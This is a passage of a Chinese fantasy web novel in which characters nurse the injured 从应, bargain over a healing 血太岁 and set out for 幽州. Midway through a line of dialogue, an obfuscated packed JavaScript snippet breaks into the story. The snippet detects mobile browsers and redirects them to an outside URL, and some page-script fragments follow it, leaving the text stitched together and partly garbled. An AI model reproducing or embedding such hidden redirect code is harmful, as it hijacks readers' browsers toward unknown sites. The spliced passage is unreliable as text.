青鳞闻声叮嘱道:“慢点喝慢点喝,不够还有。” 从应松开紧咬的芦苇杆,有气无力地问道:“是谁救了我?” 青鳞端来了一碗热气腾腾的面条放在了床榻边的矮几上,“你的伤势暂时还很重,段怀野只是暂时护住了你的心脉,先吃着东西吧。” 从应看了一眼一旁的面条,随即吃力地坐起身,青鳞见状塞了一块靠枕在他身后。 “这是您做的吗?” 从应抬眸看了青鳞一眼,尝试着伸出手去端面碗,却只能费力地拿起筷子,他长舒了一口气,便想着放弃。 青鳞接过从应手中的筷子,然后将面碗端了起来,她将细长劲道的面条卷到筷子上,放温之后递到了从应的面前。 “孩子,吃吧,吃饱了,身子才会好的快。”青鳞说,“也不知道你什么口味,但是以你现下的状况来看,还是清淡点好。” 从应将面条吃进了口,这碗面看着清淡实则下足了功夫,劲道又爽滑,汤底是清香的鸡汤,提前用青菜煮过油水,吃起来一点都不油腻,反而带着一股清甜。 从应吃着吃着便忍不住掉起了眼泪,但是他似乎没有察觉一样,依旧吞咽着青鳞夹过来的面条。 青鳞神情疼惜地看着从应,方才在院中发生的事情,她大体也有些了解,放下手中的筷子去擦他脸上的眼泪,都是一些被上一代拖累,身不由己的可怜孩子而已。 从应反应过来,伸手去擦自己的眼泪,“抱歉,让您见笑了,我也不知道为何会突然流眼泪,一定是您做得面太好吃了。” 青鳞见面碗见底,便开口问道:“孩子,吃饱了吗?还要再来一些吗?” 从应点了点头,“够了够了,我吃饱了,谢谢。” 青鳞欣慰地一笑,伸手理了理从应凌乱的头发,“吃饱了便好好睡一觉吧,很快便会没事的。” 从应顺势躺下,他看着面前的青鳞,虚幻朦胧之间逐渐与他记忆中常晓芙的身影重叠,他幼时与母亲相处的时间少之又少,每日都在跟随着父亲练功,唯有成绩斐然时才能得到一个与母亲见面的机会。 他想母亲,他好想母亲,所以会每日刻苦训练,为得便是能够同母亲早日见面。 母亲也会给他做手擀面,很好吃,很好吃的手擀面。 “娘,我好想你啊,你不要走好不好?” 青鳞闻言神情动容,心中一片苦楚,她抬手给从应塞好被角,轻抚着他的脸颊说:“乖乖,睡吧,娘不走,娘会一直陪着你的。” 寂满食不知味地吃完碗中的面条,看着青鳞拿着空碗走出房间,他急忙跟了上去。 “娘,别忙了,吃饭吧。” 青鳞将手中的碗冲洗干净,转身看着寂满,“阿满,吃饱了吗?” 寂满抱怨道:“没有呢,等你一起。你不来,我总是记挂着你,你说你去管他做什么啊。” “奉眠呢,醒了没有?”青鳞取了干净帕子擦手,“这里还有一些未煮的面条,等她醒后再煮吧。” “好,你快来吃饭吧。”寂满笑着说,“娘,其实我想介绍给你认识的人就是眠眠,只是我刚认识她的时候,她还不是现下这副模样,她是个很活泼的姑娘。她很苦的,也是不得已这样的,你不要以为她伤了人,便觉得她是个坏姑娘。” 青鳞看着寂满越发苦涩的笑容,心中有些难过,伸手摸了摸他的脸,“没事的,今日的事情,娘都知晓了,他们都是苦命的孩子。” 寂满点了点头,顺势在母亲柔软的手心里蹭了蹭,“只是眠眠似乎不会原谅我了,从应来了,她怪我没有同她讲清楚,虽然我知晓这件事情很严重,但是我却不想她一直活在仇恨之中。” “阿满,长大了,会替别人思考了,仇恨确实会折磨人,思念也会,痛苦也会。”青鳞笑着安抚道,“但是要走出来却很难,离别是件无法避免的事情,亲人的离去是余生都无法释怀的事情。但是你反过来想想,当你所熟知的人一个接着一个的离开,或许孤苦伶仃的日子在这个世上很痛苦,但是否可以开始思考着不再畏惧死亡,不再为亲人的离去而难过,因为越接近死亡便越是接近团聚的日子。万事万物都有消亡的时候,这是都无法避免的事情。” 寂满看着青鳞眨了眨眼睛,他有些懵懂地问道:“娘,你为何突然要跟我说这些事情?” 青鳞笑着伸手拥住了寂满,“因为娘的阿满已经长大了,若是以后能同他心爱的姑娘在一起生儿育女,娘不希望阿满还像个孩子一样单纯,你总要出去独自面对风雨,让你心爱的姑娘有个遮风避雨的地方,但是在娘的眼里,你一直都是小时候乖巧听话的模样,那时候的你尚未开智,小小的一只,让你乖乖的盘起来等娘回来,你都会乖乖照做。娘的阿满,真的好乖的。” 寂满回抱着青鳞,一头雾水地听着她的话,“娘,其实眠眠一直不曾答应我的。” 青鳞忍俊不禁,她轻轻地拍着寂满的肩背,“没关系,娘来了,娘来了便不会有事的,你喜欢奉眠姑娘,娘便去给你说亲,但若是她不同意,我们母子二人也不能因为她无依无靠而欺负她。” 寂满的心里因为这些沉重的话而变得空落落的,分明青鳞说的都是喜事,但是他却没由来的难过,只能紧紧地抱住青鳞。 姜芜吃着碗中的面条,时不时还要挡住段怀野欲往她碗中夹菜的筷子,她神情有些不悦地说:“你自己吃,不要总往我碗里夹菜。” 段怀野说:“你多吃一些,将身子养好。” “我吃多少我自己心里有数。”姜芜端起了自己的面碗,以防段怀野再往她的碗中夹菜,“你不是说,吃这些五谷杂粮容易破坏体内的先天一炁吗?我看你倒是吃得挺开心的。” 段怀野不以为然地说:“确实是这样,之前因为修行,克己复礼,循规蹈矩,现下不需刻苦修行了,自然是要多尝些人间美味,毕竟只有吃了之后,才知晓你喜欢的原因。” 沈确闻言默默地放下了碗筷,心中默念起心决,运转起内府的真元。 姜芜长长地叹了一息,“你能正常点吗?你之前不是这样的,你现下这副模样让我有些倒胃口。” 段怀野笑而不语。 雾沅则是欲言又止地看着姜芜,心中有诸多疑问,但觉得现下又不是询问的最佳时机。 宿凌薇食不知味地吃着碗中的面条,不知晓该怎样同姜芜商议血太岁的事情,毕竟她觉得无论如何这颗血太岁也应当给睢羲留下。 段怀野说:“姜芜,你把那颗血太岁拿出来给从应用吧,一颗血太岁未必能治好那个长灵姑娘的眼睛,但是保住从应的命绰绰有余。” 宗华闻言放下手中的碗筷,一脸殷切地看着姜芜。 宿凌薇也面色凝重地放下了碗筷,等着姜芜的回答。 姜芜抬手夹了一些青菜到碗中,丝毫不在意四周的目光,“血太岁连眠眠的眼睛都治不好的话,怎可能会治好从应身上的伤?” 段怀野说:“一颗血太岁是不太行,加上你的血便不一定了,那个长灵姑娘的眼睛我看过了,除非给她换眼,否则没有再重见光明的可能了,而且现下便有人等着用眼珠子换你手中的血太岁,一举两得的事情,你还犹豫何事呢?” 宗华见段怀野帮他说话,立刻附和地点了点头。 沈确闻言抿了抿双唇,她觉得这件事情对宗华不公平,虽然现下没有更好的办法,但是宗华的年纪还小,不应该就此失去双眼,从此变成一个目不能视的瞎子,但是这已经是宗华决定好的事情,沈确也不好多加阻挠与多言,怕只怕他将来会后悔。 宿凌薇见状立刻伸手按在了姜芜的手腕上,神情坚定地说:“濯濯,我需要那颗血太岁,我希望你把那颗血太岁给我。” 姜芜抬眸看了宿凌薇一眼,不假思索地点头,“可以。” 宿凌薇心中松了一口气,脸上不自觉地露出笑容,她险些以为姜芜不会答应。 宗华见状,震惊地瞪大了双眸,急切地道:“神仙姐姐,不是说好救我哥哥的吗?求求你,救救我哥哥吧。” 宿凌薇蹙眉,她神情不悦地看向宗华,“濯濯已经答应给我了,而且我也要用血太岁拿去救人的。” 段怀野哼笑了一声,他看着宿凌薇说:“行了,我知晓你要去救谁。没用的,若是有用的话,姜芜不会给任何人的,血太岁未必只有一颗,只是另一颗用掉了而已。” 宿凌薇倏地看向了姜芜,“当真?” 姜芜说:“吃饭吧。” 宿凌薇见状松了一口气。 宗华心中有又燃起了希望,脸上带着谄媚的笑容看向姜芜,“那这颗血太岁......” 姜芜彻底没了胃口,她放下手中的碗筷,取了帕子擦了擦唇,随即对段怀野说:“你想要救从应?我记得你并非多管闲事之人,你要同我说个理由吗?” 段怀野挑眉,“你想要个理由?没什么理由,只是心血来潮而已。” 姜芜说:“不是我不借,我答应将血太岁留给眠眠的,而且从应是眠眠的灭族仇人,更何况他还杀了常胜,你让我怎样把血太岁借给他们?” 宗华面上一僵,缓缓地收敛了脸上的笑容,他垂下了双眸,甚至连头也垂了下来,整个人险些缩成一团。 “神仙姐姐,那......你要怎样才肯将血太岁给我?我拿眼睛同你换,你并不愿意换给我,我拿命同你换,你也不换给我,你想要什么,只要我 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寂满笑嘻嘻地说:“娘,不用管他们,我觉得好吃就行。” 宿凌薇说:“很好吃,我已经很久没有吃过这么好吃的东西了,青鳞夫人的手艺真的很好。” 青鳞笑容温婉,“你们喜欢便好,我也不知晓你们的口味,只是按照寂满的口味多做了一些,若是你们还有其他想吃的,可以告诉我,我下次做给你们吃。” 段怀野说:“劳烦夫人了。” 沈确客套了几句便起身离席,她趁众人不注意,进入了从应的房间。 从应吃完了面后便沉沉地睡了过去,他眉心紧拢,似乎过度虚弱的身体都没法让他好眠,依旧有着光怪陆离的梦侵扰着他的神志。 沈确打湿了帕子,拧干水之后,坐在床榻边擦拭着从应额头上的冷汗。 从应迅速从梦中惊醒,待他看清楚面前之人时,心下松了一口气,“原来是你啊,吃饭了没有?” 沈确点了点头,轻声说:“吃过了,我今日......并非有意骗你的,我是真的以为你有法子帮我找回师兄,也便忽略了其他的,你今日这般,我也有很大的过错。” 从应勾唇笑了起来,“傻姑娘,我本就是强弩之末,威胁他们换你师兄的法子就是让他们来除之,快之,以解心头之恨的。只是我没想到那女人出手那么快,不怪你。” 沈确垂着眼眸,用手中的帕子无意识地擦着从应的手,“你说你这又是何苦呢。” 沈确说话之后便觉得说出口的话有些不妥,她抬眸看了从应一眼,最终也只是深深地叹了口气。 “这样我便没有遗憾了。”从应突然伸手抓住了沈确的手,“不过,现下倒是还有一桩心事。” 沈确不解地问道:“何事?” 从应迅速起身靠近沈确,吻在了她的双眸上,蜻蜓点水一般,一触即放,他垂眸看着后者绯红的双颊,“这么一双漂亮的眼睛,为何这般能哭,每次见我都是在哭。” 从应动作过于得迅速,沈确只来得及合眸。 沈确睁开双眸看向从应,纤长的睫毛一片濡湿,“你……” “怎么又在哭?” 从应抬手擦去了沈确脸上的泪珠,轻声说:“我父亲曾经说过,女人都是水做的,我觉得他没有骗我。” 从应探头吻了吻沈确小巧的鼻尖,目光逐渐下落至她的唇瓣上。 沈确开口道:“从应,你这是在轻薄我。” 从应轻笑一声,气息喷洒在沈确的脸上,两个人呼吸交融,彼此都闻得到身上的日子。 “那你为何不推开我?” 从应明显能感觉得到掌下肌肤温度的升高,他揉了揉沈确的手,另一只手搭上了她的后颈。 “阿确。” 沈确头脑发昏,浑身麻木难以动弹,她脸红眼热地看着从应,神情无措又惊恐。 从应见状直接贴上了沈确的双唇,见她呼吸急促又小心翼翼,轻轻地在她下唇上咬了一口,随即笑着说:“现下一桩心事也没有了。” 沈确一脸茫然地抿了抿双唇,随即立刻将从应推开,有些无措地背对着他,“你......你混蛋!” 从应顺势躺在了床榻上,笑着应道:“我本来就是个混蛋。” 沈确轻轻地擦了几下自己的双唇,轻声控诉道:“你怎么能这样?” 从应解释道:“我们那边风俗一贯如此,喜欢谁便要大胆示爱。我知晓方才很唐突,但是人之将死,其言也善,你便当自己被狗咬了一口吧,我也不想你步我母亲的后尘。” 沈确深深地吸了一口气,“宗华在为了你四处求人,你可不能这般放弃自己。” 从应摆了摆手,在床榻上寻了个舒服的地方,“让他别白费力气了,好好留着自己的眼睛吧,那个长灵姑娘宁愿死也不会要灭她全族之人弟弟的眼睛。” 沈确问道:“你死了你父亲怎么办?” 110. 递刀 段怀野用木勺盛了茶汤倒进了姜芜的茶杯之中,“姜芜,我有正经事同你讲,” 姜芜应了一声,她执杯抿了口茶,“说吧,知晓你单独找我,也必定不是说什么轻浮话。” 段怀野挑眉,哭笑不得地说:“我何时说过轻浮话了?姜芜,三百年你变化挺大啊,我记得你之前不是这样的。” 姜芜抬眸看向段怀野,开口问道:“我是哪样的?” 段怀野回忆了片刻,试探地说道:“天真无邪,可爱烂漫,对万事万物都充满好奇,无忧无虑,没有烦恼,乖巧又听话。” 姜芜挑眉,她放下手中的茶杯,调侃道:“原来天下无双的圣人喜欢这种类型的姑娘。” 段怀野顺着姜芜的话说道:“还得模样俊俏,身段高挑,最重要的还得是你。” “能得圣人青睐,真是我三生有幸。”姜芜伸手捏了捏眉心,“你若是不说正事,我便回去休息了。天本来便冷,再听你说几句,估计便要得风寒了。” 段怀野整了整衣襟,端坐了身形,“姜芜,你同我做个交易吧。” 姜芜抬眸看向段怀野,“说。” “我觉得你的法子很好,在大荒和无幻之境内打出一条通道来。”段怀野看着姜芜神情不悦地拢起了眉心,立刻继续道,“但是我保证,会在睢羲伤好之前不会让灵气流入无幻之境,但是相对应的我需要五彩之石修补封印。” 姜芜摇了摇头,“我不同意,我说过我有能力再折一次太初剑,你若是不守信用,也不要怪我无情无义。毕竟你亏欠我在先,无论是你刺伤睢羲还是我修补太初剑,你到底有没有良心?以为我是善心大发吗?况且你不是想救从应吗?血太岁你不想要了,怎么看都是我这边的筹码更大一些。” 段怀野笑了一声,他点了点桌子,“你考虑一下,从应可是未来的鬼王,救他等于给陌离面子。荆州萧家不比从前,救从应等于安抚鬼王,这些年他虽蛰伏于南疆,但是我们也不能做递刀人。” 姜芜看着杯中的茶汤,随即端起一饮而尽,“我不在乎你口中的天下大义。”说完,她反手将茶杯扣在了桌面上,起身便要离开。 段怀野见状立刻按着姜芜的肩膀,将她按在了椅子上,“别急别急,再谈谈,再谈谈,你开条件怎么样?”说完,他取过姜芜的杯子,重新洗刷干净之后倒入茶汤。 “我帮你修复太初剑,你帮我救睢羲。”姜芜说,“太初剑我已经帮你修复好了,你还没有做到我要求的事情。” 段怀野颔首,“这个我已经答应你了,等贯通大荒和无幻之境,我便同你去取天书第四卷。” 姜芜抬眸看着段怀野,“说到底还是你的错,若非你用天书赐福萧家和长灵族,也不会造成如此局面。” 段怀野双眸微睁,“我让他们脱离苦海,免受分离之痛,以享天伦之乐,让他们有足够对抗鬼族人的能力,反而还成了我的错?” “你给他们的并非恩赐,而且滋养欲望的温床。虽然所有人都应该平等的享有一切,但是难免有些人想要得更多。万事万物都是均衡对等的,某一方面得到的比人多,自然有一方面便会缺少。”姜芜说,“我可以陪你去打通大荒与无幻之境,这个不必做交易,是我赠予你的,你看你还有什么同我交换血太岁的。” 段怀野思索了片刻,随后走到姜芜身侧同她并肩坐着,伸手扯了扯后者的衣角,“看在我们这么多年的交情上?一颗血太岁而已,你便给我吧,反正你留着也无用。再者,从应的伤这么重,你也有责任,若非不是他附身柏雨,怎会落得如此下场?” 姜芜闻言长叹了一息,妥协道:“你帮我治好眠眠的眼睛,不要对其他人说是血太岁救了从应。” “怎么?” 姜芜抬眸望着天际放空,“我与常胜结识这么多年,我不想让眠眠多想,你这样让我很难做,从应杀了常胜全族是事实,我应当杀了从应的。” 段怀野不以为然地说:“我以为什么呢,多大点事啊,你不要想那么多,反正我已经告诫过他们了,是他们自己非要一意孤行,你我都是没有办法的。” 姜芜缓慢地收回目光,神情悲伤地看向段怀野。 段怀野看着姜芜,想起当年同常胜的谈话,因为姜芜的缘故,他将天书所预言的内容破例告知了常胜,便是希望他们能躲避过灭族的命运,也能让姜芜少几分伤心。 但是,他失败了,他所做的所有违背天书内容的事情,都失败了。 唯一的一次便是给姜芜延长了三百多年的寿命,不过现下看来,她似乎也难逃一死。 段怀野本意是不想让姜芜死的,他在极力更改姜芜的命数,却总是徒劳,就像是手中沙一般,攥得越紧流失得越快。 姜芜收回了目光,垂眸喝起了茶。 段怀野摆了摆手说:“算了吧,我自己再想法子救他,不让你为难。不过,他身上被腐蚀出的伤口,还是需要你的血。” 姜芜应了一声,伸手取了个干净的茶杯,取了整整一杯的血给段怀野。 段怀野抬手掐诀,把姜芜的血液保存起来,随即收进了纳戒之中。 姜芜把自己纳袋中的血太岁取出递给了段怀野,她轻叹了一声,“拿去吧。” 段怀野喜出望外地接过血太岁,“姜芜,你放心,答应你的事情,我一定会做到的。” “知道了。”姜芜说,“你想用什么来连接大荒与无幻之境?” 段怀野收起了血太岁,“打算从幽州寻一颗千年长树,淬炼以后做输送的载体,先将一部分戾气输送进大荒,保证神树不死。” 姜芜说:“正好,我也有些事情需要到幽州去找羽族。” “行,不耽误时间,我先治好从应。”说完,段怀野便起身走出草亭,向从应的房间走去。 雾沅见段怀野离开,缓步走到了姜芜的面前,他坐于对面,欲言又止地看着她。 姜芜用木勺给雾沅盛了热茶,“不用听段怀野胡说。” 雾沅神情无奈地笑了一声,“但是我总要搞清楚当年的事情,当年在我性命垂危之际,救我的那个是你,是你给了我戾气让我保命,助我修行。这些事情,你却从来都没有对我说起过。” “此事不必放在心上,我当年救你也并非是要你将来有一天的感恩。”姜芜垂眸抿了一口热茶,“而且,因为我杀了袁星月,也间接地造成了霰雪蝶一族的灭亡。” 雾沅脸上的笑容逐渐痛苦,“这种事情不能如此论断,这叫颠倒黑白。若是你这般想的话,那我身为霰雪蝶一族的族长,我也有责任,是我不够强大,没有将他们保护好。” 姜芜想起玃如给的那几段未来中有关于雾沅的记忆,“好好活着,等事情了结之后,壮大族群不是问题。我这几日要同段怀野去趟幽州,他们便有劳你照顾了。” 雾沅点头应下,“我一直记得你在扬州时同我说的那番话,你说尊上表面上允许我们跟着商道长赎罪,实际上是想方设法得到破除大荒封印的办法。” 姜芜问道:“你找到办法了吗?” 雾沅摇了摇头,“没有。” 姜芜随口道:“其实五彩之石便可以破开结界。” 雾沅面色一紧,“姜芜,你不要这么想,我从前也不曾这般想过,往后也不会,你对我有恩,我不会这么做的。” 姜芜抬眸看向雾沅,“是吗?那我现下让你做一件事情报恩,你会答应吗?” 雾沅颔首,神情认真地说:“当然。” 姜芜勾唇,她起身走到雾沅的身侧,伸手拍了拍他的肩膀,“好好活着,你要知晓我当初救你便是希望你能活着,但你的生命属于你自己。” 雾沅讶然,他抬眸看向姜芜,瞬间二人便知晓对方都是看过未来的人。 姜芜神情有些无奈地叹了一息。 【从应房间】 段怀野敲了敲门,得到门内之人允许后才施力推门而入,他看到沈确在房内,并没有表现出过多的惊讶,反而抬了抬手,示意后者出去。 沈确起身先是看了从应一眼,随后才起身向外走去。 段怀野侧移一步,挡住在了沈确的面前。 沈确抬起头,神情冷淡地看向段怀野,“何事?” 段怀野面无表情地问道:“你还是五行道宗的弟子吗?” 从应闻言神情紧张地看向了二人。 沈确蹙眉,神情烦躁地抬起手行弟子礼,“沈确见过师祖。” 段怀野冷笑,挥手将太阿剑扔进了沈确的怀中,“不要做出有辱师门名誉之事。”说完,他便绕过沈确,朝着从应走去。 “出去,把门关好。” “是。” 沈确握着手中的太初剑,眼神中流露出一丝复杂,随即走出房间并将房门关好。 段怀野取了圆凳,坐在了从应的床榻前。 从应抬眸看了段怀野一眼,神情警惕地说:“你是来了结我的吗?” 段怀野上下打量了从应一番,神情戏谑地说:“你这副模样,看起来根本不像是求死,真是难为你那个傻子弟弟,又是磕头又是剜眼的。” 从应垂下了双眸,随即嗤笑一声,“你看我现下还有得活吗?算了,我也不想活了。” 段怀野唇角一勾,“我救你,但是你要答应我一个要求。” 从应翻身向内侧,背对着段怀野,“不必救我,我不想活了。” 段怀野继续道:“带着你那个傻弟弟回南疆去,与你父亲你们三人此生不得离开荆州以南,而且不准带走沈确。” 从应缓缓地睁开双眸,“我凭什么相信你?而且……我一人做事一人当,此事同宗华又有何关系,他只是一个普通人,年纪还小,以后还想要考取功名,不应该一直留在南疆。” 段怀野从纳戒中取出了血太岁,“为了这颗救你的血太岁,我可是费了不少口舌功夫。你原本大肆附身长灵族,最多是个元气大伤的结果,可是你偏偏在此之前附身了修罗,以至于落得个半死不活的下场,可悲啊。” 从应起身看向段怀野,“你真的要救我?” 段怀野轻笑了一声,“你不是一直想死吗?”说完,他抬手召唤出斩魄剑,伸手抚摸过漆黑的剑身。 “当年欠你父亲个人情,现下算是还上了。” 从应感受到斩魄剑中散发而出的隐隐鬼气,随即龇牙道:“没得活才想死,有得活谁想死?你这个家伙,你当初为了炼制这柄破剑到底杀了多少鬼族人?” 段怀野十分满意地看着从应,“看来你是答应我的要求了吗?” 从应颔首,“嗯,我伤好之后便走。” “很好,不过不要在此地养伤,对外宣称你死了,不要让那个长灵女子看到你。” 从应抿了抿双唇,面前有些难为情地问道:“今日那个做面的女人是谁?” 段怀野专心致志地把姜芜的血液融进血太岁之中,听到从应的话,漫不经心地回道:“她啊,妖王的夫人,不过也是个苦命的女人。” 从应急促地问道:“怎么个苦命法?比我娘还苦命吗?” “你娘幸运多了,得你父亲专宠,她虽然是妖王夫人,却是十夫人,你觉得呢?”说完,段怀野抬眸看向了从应。 从应垂眸不语。 段怀野处理完一切便负着手走了出去,他走进草亭中,仰头喝干凉苦的茶汤,“走吧。” 姜芜抬眸看向段怀野,“你都处理好了?” 段怀野自信满满地说:“当然,难道普天之下还有我搞砸的事情?” 姜芜起身向屋内走去,“我去同宿凌薇说一声。” 段怀野伸手虚拦住姜芜,“不用了吧,她还有自己的事情要做,惹了个冤家, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15880084|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没那么轻而易举摆脱的。” 姜芜不解地问道:“谁?百衢还是烛九阴?” 段怀野闻言大笑了起来,“我不知道。” 【凛月楼】 宿凌薇怒气冲冲地走进凛月楼,她伸手推开包厢的房门,神情不悦地看着烛九阴,随即快步上前对着他伸出了手,“你把我的东西还给我!” 烛九阴看着宿凌薇一身红裙闯了进来,身上的饰品发出一阵清脆的响声,他迅速起身迎上前,举起自己缠着金饰的手指,双眸含笑,“你说说看,你是在哪里弄丢的?” 宿凌薇神情一愣,顿时想起面红耳赤的那一夜,她立刻伸手去抢夺烛九阴手上的金饰,动作有些急躁,那条金饰又细又长,而且是姜芜送她的,以至于她手上根本不敢用力,解着解着便将两个人的手缠在了一起。 宿凌薇见状气极,自暴自弃地看着烛九阴,“你还要不要还给我,骗我也就罢了,现下还要抢我的东西。” 烛九阴见状放缓了语气,“薇薇,你先听我讲,我并非有意。骗你也是迫不得已,你因为玃如预知的未来而厌恶我,而且卓龙也是我的名字。” 宿凌薇抿唇,“你的意思是说我才疏学浅,只知晓你叫烛九阴,不叫卓龙吗?” “我不是那个意思,你误会我了,我是真心爱慕你,那晚也算是你我二人情投意合。”烛九阴垂眸看着宿凌薇,“你为何不能像那晚一般乖顺可爱,与我好好讲话?” 宿凌薇狠心将金饰扯断,“因为我最讨厌别人骗我。”说完,她便转身欲走。 烛九阴看着手中断裂的金饰,眉心一跳,他觉得若是此时让宿凌薇离开,他们往后必定不会再相见。 “薇薇,你等一下。” 烛九阴快步上前拦住宿凌薇,“我今日请你来是想同你道歉的,那晚的事情是我混蛋,是我对不住你。”说完,他抬手化出早已经准备到的金钗与金饰递到后者面前。 “这些算是方才给你赔不是了。” 宿凌薇垂眸看了一眼那些金饰,“第一,我讨厌别人骗我,是你先用卓龙的名字骗我在先;第二,我不想同你有任何牵扯,那晚的事情已经过去了,我承认你长得有几分姿色,那晚是我自愿,并非你强迫我。修罗一族向来如此,只要是双方有意向,怎么样都可以,从来不会拉拉扯扯纠缠不清。” 烛九阴蹙眉,“可是,据我所知,濯漪和睢羲……” 宿凌薇抬手打断了烛九阴的话,“人各有选择,你不能觉得他们是特例,我也会是特例,我只是一个再普通不过的修罗。你们妖族当年真的是太亲近人类了,发生了夫妻关系便要在一起,便要负责吗?太荒谬了。” 烛九阴说:“薇薇,你给我一个机会吧。” 宿凌薇拢紧了眉心,她摇了摇头,绕过烛九阴往明月楼外跑去。 宿凌薇闷头从凛月楼跑了出来,抬头的瞬间,余光便扫到了一旁的百衢,她停下脚步有些诧异地看向后者,“你在这里做何事?” 百衢说:“濯漪去了幽州,说是不放心你,让我来看着你。” 宿凌薇蹙眉,“我又不是小孩子,有何好看顾的?” 百衢抬眸看了一眼凛月楼的招牌,“你这不就险些被堵在里面吗?你若是再不出来,我可要进去救你了。” “胡说。”宿凌薇瞪了百衢一眼,随后转身向顺榆镇外走去,“睢羲呢,季易和百衢吗?他们怎么都没同你一起?” “睢羲哪能闲得住,去天都城了,季易和沛然也不能天天跟着我。”百衢四下看着小摊位的各种吃食点心,“喂,宿凌薇,你要不要吃点心?” 宿凌薇摇了摇头说:“不吃。” 百衢闻言讪讪地闭了嘴,接着他便想起睢羲的叮嘱。 “不要问她要不要,直接买给她,她若是喜欢,自然不会说什么,她若是不喜欢,你便趁机问她的喜好,她若是觉得你烦,什么都不说,你便自己吃,总归不浪费,吃得香一些,让她来主动问你。” “你便是如此对濯漪的吗?” “不,我买的东西她都喜欢。” 百衢带着自己的鄙夷,将街上所有的点心都买了个遍,然后捧到了宿凌薇的面前,“你看你想吃什么,我觉得这叫糖葫芦的东西看起来倒是很好吃。” 宿凌薇诧异地看着百衢,有些难以置信地问道:“这些都是给我的?你买这些东西做何用?你不知晓,我们是不用进食的吗?还买这么多?” 百衢说:“我们不需要进食,也不会像人族那般积食,但是他们做出来玩意倒是有趣的,都尝一尝总没有坏处的,像季易和沛然他们,吃过一次人族的食物便会一直想着。” 宿凌薇眨了眨眼睛,她伸手接过了百衢手中的糖葫芦,想起了他的哥哥崇厌所说的话,有困难便去找百衢。 而此时的百衢正身披万家灯火,手里捧着一堆人间美味,看起来确实有崇厌所说的那般可靠,但实际上百衢并没有宿凌薇想象中的那般可靠。 宿凌薇觉得可靠的人应该像她哥哥崇厌一般,或者是像姜芜那般,亦或者睢羲那样的,绝对不可能是百衢这样的。 百衢见宿凌薇咬了一口糖葫芦,急切地出声问道:“怎么样,好吃吗?” 宿凌薇点了点头,“好吃。” 百衢笑着说:“好,那这些都给你。” 宿凌薇神情警惕地说:“干嘛突然对我这么好?你有事求我?” “不是。”百衢讪讪地摸了摸鼻子,“你当我良心发现行不行,我昨晚弄疼你了,这些算作赔礼怎么样?” 宿凌薇怪异地笑了一声,“你还有觉得自己错了的时候?” 百衢不以为然地说:“那又如何,很稀奇吗?毕竟我记性又不差,没忘记过你哥哥的嘱托。” 烛九阴从凛月楼中追出来,阴沉着脸隐于人群中,神情不善地盯着二人。 111. 幽州 【幽州边境榕镇】 姜芜同段怀野在榕镇的一家客栈落脚,榕镇靠近长木森林,算是人族活动最后的城镇,再往深处便是遮天蔽日的羽族领地,所以这座小镇人口并不多,与其说是一座小镇,倒不如说是一个百来人口的村落。 姜芜肩上披着黑红色的狐裘,正坐在靠窗的位置,抿着杯中的热茶。 段怀野饶有兴趣地看着窗外的迎亲队伍,新郎官胸前戴着大红花骑在枣红马上,神情不悲不喜,而周围的人低着头纷纷绕着他们走。 “有趣?” 姜芜闻声抬眸看向段怀野,随即看了一眼窗外的接亲队伍,“你对这个感兴趣?明明可以直接到长木森林之中选取合适的树木,为何非要到这边落脚?” 段怀野转了转手中的杯子,“有趣啊,之前活着的时候总带有目的和功利性,现下还是觉得你的处世态度正确,人嘛,活着就应该游山玩水,逍遥自在,而不是勤勤恳恳,兢兢业业,适当放过自己。” “走,我们去讨杯喜酒喝。”说完,段怀野便放下手中的杯子,拉着姜芜起身向外走去,他给店小二扔下了茶钱,便跟上了送亲的队伍。 姜芜无奈地叹了一息,只好跟上了段怀野的步伐。 二人刚到达喜家,便看到一个背着箱子、穿着单薄衣裳的青年被喜家打了出来,箱子中的瓶瓶罐罐散落了一地。 “休要在此胡言乱语!赶紧滚!” 傅靖川急忙道:“冲喜的法子不可取啊,会害了那个姑娘的,再给我三日时间,我一定能进入到长木森林取得芄虫来救大少爷的痨病。” 段怀野挑眉,“这是谁啊,长得挺眼熟的。” 姜芜蹙眉,默不作声地上前扶起了傅靖川,随后将地上的瓶瓶罐罐收拾回箱子中递给了他,“你来此地做何事?” 傅靖川讶然,又惊又喜地说:“是你啊,上次你帮我治好了诅咒之术却不告而别,我都未来得及好好感谢你。” 段怀野上下打量着面前之人,皮肤呈现一种晒过的古铜色,长得倒是有几分熟悉,最终他将目光停留在傅靖川的眉眼之间,饶有兴趣地问道:“怎么?你救过他啊?倒像是你做出来的事。” 傅靖川看向了段怀野,有些疑惑地看向姜芜,“请问这位是?” 段怀野抢先道:“在下段怀野,不知这位兄台怎么称呼?” 傅靖川抬手抱了抱拳,“原来是段兄,小弟傅靖川......等等,兄台您说您是谁?段怀野?!是五行道宗开山祖师爷,太初道尊,段怀野圣人吗?!” 段怀野摆了摆手,笑着说:“区区虚名,不足挂齿,都是别人对我的谬赞,莫要当真。” 姜芜神情无奈地摇了摇头。 傅靖川立刻道:“还请圣人助我一臂之力,同我进入长木森林,取得芄虫,来替这家的大少爷治疗痨病顽疾,这样那个姑娘便不必被娶来冲喜守寡了。” 段怀野哼笑一声,“你倒是个热心肠,你为何知晓芄虫能够治疗痨病呢?” 傅靖川如实道:“我在一本医书上看到的,这芄虫虽然有个虫字,但并非真的是虫子,是一种特别像虫子的藤蔓,生长于长木森林幽暗潮湿的环境之中,吸足了湿润之息,而这家的大少爷的肺病是干燥之症,所以用芄虫入药是再好不过的。” 段怀野看了姜芜一眼,意有所指地说:“医书,你不是丹修吗?怎么没有修为吗?” 姜芜应了一声,“看我做何事?有问题?” 段怀野脸上的笑意更深,“没有问题。” 傅靖川见状挤到了两个人的中间,神情殷切地看着段怀野,“圣人,您有大慈悲啊,请您帮帮我吧。我并无修为傍身,所以进不了长木森林,我虽然出身于青州十方楼,但是也只是一个楼外弟子,只是学了一些医术的皮毛知识,不曾引气入体。” 段怀野摇了摇头,“我没有大慈悲,倒是你,萍水相逢便能救助一个陌生人,还是你有大慈悲。” 